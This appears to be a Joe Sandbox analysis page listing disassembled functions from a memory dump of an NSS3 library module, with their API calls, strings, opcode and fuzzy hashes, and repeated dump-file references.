_PR_MD_UNLOCK.NSS3(?), ref: 6CC9A01D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 5157ae91d54141d4bfe3981c86d42ea5accf8fda134219cbbb6a6fde06b6cbe4
Instruction ID: 31baf38305ff4919b03e942ec9b70e837f9e6d115e6af3740bf56a6b84486331
Opcode Fuzzy Hash: 5157ae91d54141d4bfe3981c86d42ea5accf8fda134219cbbb6a6fde06b6cbe4
Instruction Fuzzy Hash: C7519DB2800610DFCB209F25D88468AB7F4FF05319F25C66AD85A5BB52F731F885CB91

Function 6CBA4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBA4E90
EnterCriticalSection.KERNEL32 ref: 6CBA4EA9
TlsGetValue.KERNEL32 ref: 6CBA4EC6
EnterCriticalSection.KERNEL32 ref: 6CBA4EDF
PL_HashTableLookup.NSS3 ref: 6CBA4EF8
PR_Unlock.NSS3 ref: 6CBA4F05
PR_Now.NSS3 ref: 6CBA4F13
PR_Unlock.NSS3 ref: 6CBA4F3A

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 38e231f4ca5181ad41c070d68eaf579c9368b3ba91a5fe8d1ed26a80f5a2db28
Instruction ID: 3b5e49d1d68a5966d829121ce03dd02100e63416d5cb967df9c86b1a217b298e
Opcode Fuzzy Hash: 38e231f4ca5181ad41c070d68eaf579c9368b3ba91a5fe8d1ed26a80f5a2db28
Instruction Fuzzy Hash: EF415DB4A04A459FCB00DF78D0848AABBF4FF49304B118569EC99DB711EB30E895CF91

Function 6CB8DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CB8DCFA

Part of subcall function 6CC49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DC6
Part of subcall function 6CC49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DD1
Part of subcall function 6CC49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC49DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB8DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CB8DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CB8DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB8DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CB8DD8F

Part of subcall function 6CBA06A0: TlsGetValue.KERNEL32 ref: 6CBA06C2
Part of subcall function 6CBA06A0: EnterCriticalSection.KERNEL32(?), ref: 6CBA06D6
Part of subcall function 6CBA06A0: PR_Unlock.NSS3 ref: 6CBA06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CB8DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CB8DDB7

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 09c9577bf4c880e3521485a35a9fefaabf0c13dade27bee579a93abb2bc65256
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 80215EB6E022A69BDF019FA4EC409DEB7B4EF05218F140466ED14A7B11F721ED15CBE2

Function 6CC15F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15F72

Part of subcall function 6CB7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CB7ED8F
Part of subcall function 6CB7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CB7ED9E
Part of subcall function 6CB7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CB7EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15FCC
free.MOZGLUE(?,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15FF4
free.MOZGLUE(?,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC16019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC16036

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: ae94d3a04ef4f9eedca8aa475c3e23f3778ddef9e272d64bcbb0d8199dd0240f
Instruction ID: d450cd7ac8f5ea6ea67703030355dfecf36a13685ee3a667f410e8feea1e966b
Opcode Fuzzy Hash: ae94d3a04ef4f9eedca8aa475c3e23f3778ddef9e272d64bcbb0d8199dd0240f
Instruction Fuzzy Hash: A7214AF1604B409BEA209F75DC48BD777B8AF4174CF100928E46E87A40EB36F019CBA1

Function 6CB83C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CBF460B,?,?), ref: 6CB83CA9
EnterCriticalSection.KERNEL32(?), ref: 6CB83CB9
PL_HashTableLookup.NSS3(?), ref: 6CB83CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CB83CD6
PR_Unlock.NSS3 ref: 6CB83CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CB83CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB83D03
PR_Unlock.NSS3 ref: 6CB83D15

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 419d46aa9d177fb6dc3d501f10ba3a6d7ec0aadadc6643b66e1d72f75ff3ad50
Instruction ID: 364dbf640cf9390c45d320436cac7a0dc1209e9243fb1590a10accb8e7663470
Opcode Fuzzy Hash: 419d46aa9d177fb6dc3d501f10ba3a6d7ec0aadadc6643b66e1d72f75ff3ad50
Instruction Fuzzy Hash: E51125B6E01555ABEB112B28EC059AE7B38EF0725CB190130ED1883711FB22E868C7E1

Function 6CB89C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBA11C0: PR_NewLock.NSS3 ref: 6CBA1216

free.MOZGLUE(?), ref: 6CB89E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB89E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB89E4E
TlsGetValue.KERNEL32 ref: 6CB89EA2

Part of subcall function 6CB99500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CB99546

EnterCriticalSection.KERNEL32(?), ref: 6CB89EB6
PR_Unlock.NSS3 ref: 6CB89ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CB89F18

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 2a321e348d514220d8b0bd4ffc066b0208d4063d75ba62e4b20c230e4bcdbeb4
Instruction ID: 3003652f5944da76a8ebb33140a0cd80f4cd8fd0efbf9af0a75200cb309dc6c8
Opcode Fuzzy Hash: 2a321e348d514220d8b0bd4ffc066b0208d4063d75ba62e4b20c230e4bcdbeb4
Instruction Fuzzy Hash: E581F7B5E01681ABEF009F34DC40AAFB7A9FF55248F144528EC4987B41FB31E918C7A2

Function 6CB9DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(D958E852,6CBA1397,5B5F5EC0,?,?,6CB9B1EE,2404110F,?,?), ref: 6CB9AB3C
Part of subcall function 6CB9AB10: free.MOZGLUE(D958E836,?,6CB9B1EE,2404110F,?,?), ref: 6CB9AB49
Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(5D5E6CD9), ref: 6CB9AB5C
Part of subcall function 6CB9AB10: free.MOZGLUE(5D5E6CCD), ref: 6CB9AB63
Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CB9AB6F
Part of subcall function 6CB9AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CB9AB76

TlsGetValue.KERNEL32 ref: 6CB9DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CB9DD0E
PK11_IsFriendly.NSS3(?), ref: 6CB9DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CB9DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB9DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB9DEA6
PR_Unlock.NSS3(?), ref: 6CB9DF08

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 24996d61558bd6c69256a0b42f43b91ad4e7d2237d3ee2e00271806aa07b7042
Instruction ID: 5aaaa26c2526ed62b7664abd47a1fd34c26fe7d759ed2d2be48cef587a527b5b
Opcode Fuzzy Hash: 24996d61558bd6c69256a0b42f43b91ad4e7d2237d3ee2e00271806aa07b7042
Instruction Fuzzy Hash: 5491D2B5A001419FDF00CF79E881BAEB7B1EF56308F148039D9199B751E731E845CBA2

Function 6CB55FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CC3BB62,00000004,6CCA4CA4,?,?,00000000,?,?,6CB131DB), ref: 6CB560AB
sqlite3_config.NSS3(00000004,6CCA4CA4,6CC3BB62,00000004,6CCA4CA4,?,?,00000000,?,?,6CB131DB), ref: 6CB560EB
sqlite3_config.NSS3(00000012,6CCA4CC4,?,?,6CC3BB62,00000004,6CCA4CA4,?,?,00000000,?,?,6CB131DB), ref: 6CB56122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB56095
misuse, xrefs: 6CB5609F
%s at line %d of [%.10s], xrefs: 6CB560A4

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: b406beab611729ec59fa14d39ce17d7ee63cd18898b2c5b4957f317a5a9b7e7e
Instruction ID: 45a554313c81f58884fa77c48cbd4244261676294643d1786a73b1ee8c656685
Opcode Fuzzy Hash: b406beab611729ec59fa14d39ce17d7ee63cd18898b2c5b4957f317a5a9b7e7e
Instruction Fuzzy Hash: 17B12D74E0468ACFCB08CF68C2809A9F7F0FB1E304B15915DD509AB362E771BA85DB95

Function 6CB04F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB04FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB051BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB051A5
misuse, xrefs: 6CB051AF
unable to delete/modify user-function due to active statements, xrefs: 6CB051DF
%s at line %d of [%.10s], xrefs: 6CB051B4

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 067bc9db1c6bd38c13b3661686fc99904c6392633cbb86c8bcdd884a1d4e4a8d
Instruction ID: e5c898d13e73ab0efa67839b7c5e6f2f83096ff136b1ee81cdb120399c249f57
Opcode Fuzzy Hash: 067bc9db1c6bd38c13b3661686fc99904c6392633cbb86c8bcdd884a1d4e4a8d
Instruction Fuzzy Hash: 4A71AE757042499FDF00CE55CC80B9E7BB9FF48308F144524ED099BA81E731E859CBAA

Function 6CB72D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CB72D69

Strings

winUnmapfile2, xrefs: 6CB72F7F
winTruncate2, xrefs: 6CB72EF8
winTruncate1, xrefs: 6CB72EBE
winSeekFile, xrefs: 6CB72E9C
winUnmapfile1, xrefs: 6CB72F55

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 6d6bacc0369b99474599ec491d8df87599ace80887eac44062cc6831828a2836
Instruction ID: b945a07b6a359323d8fa5488691c962d136aa6fc0f43ada4057c8765e36a8153
Opcode Fuzzy Hash: 6d6bacc0369b99474599ec491d8df87599ace80887eac44062cc6831828a2836
Instruction Fuzzy Hash: 5661AE75B00204DFDB54CF68D884AAA77B1FB49314F10852DED269B780EB31AD06CBA2

Function 6CBEFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CBEF165,6CCB219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBEFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBF00A6

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 0f192b2f901fd9152fc62d0c4ab058975aad74e07e439a0a627a0d3793ae5103
Instruction ID: 188e7d35acb777739568068669993e547ad5182fa1bee1ae8c4049bb733e8d5d
Opcode Fuzzy Hash: 0f192b2f901fd9152fc62d0c4ab058975aad74e07e439a0a627a0d3793ae5103
Instruction Fuzzy Hash: 32512671E002999FDB108F68D8807AEB7BAFF49358F280229DC25A7B50D331AC05CBD1

Function 6CBADEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBADF37
EnterCriticalSection.KERNEL32(?), ref: 6CBADF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBADF96
PR_SetError.NSS3(00000000,00000000), ref: 6CBAE02B
PR_Unlock.NSS3(?), ref: 6CBAE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBAE090
PR_Unlock.NSS3(?), ref: 6CBAE0AF

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: d91e3535ba3f200988b04c332f5ddde082938c0ea319847d3e442494de9b9294
Instruction ID: 246b10bd40a4147bee80a62c5b73cc9da2af4a17aa3c7a3dd6a23f76a3645fbf
Opcode Fuzzy Hash: d91e3535ba3f200988b04c332f5ddde082938c0ea319847d3e442494de9b9294
Instruction Fuzzy Hash: 8A51D3305086808FEB309FA5D845B5B73B9FF48308F204529E8D647B91D736E95ACBD2

Function 6CBCAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CBCAB3E,?,?,?), ref: 6CBCAC35

Part of subcall function 6CBACEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CBACF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CBCAB3E,?,?,?), ref: 6CBCAC55

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
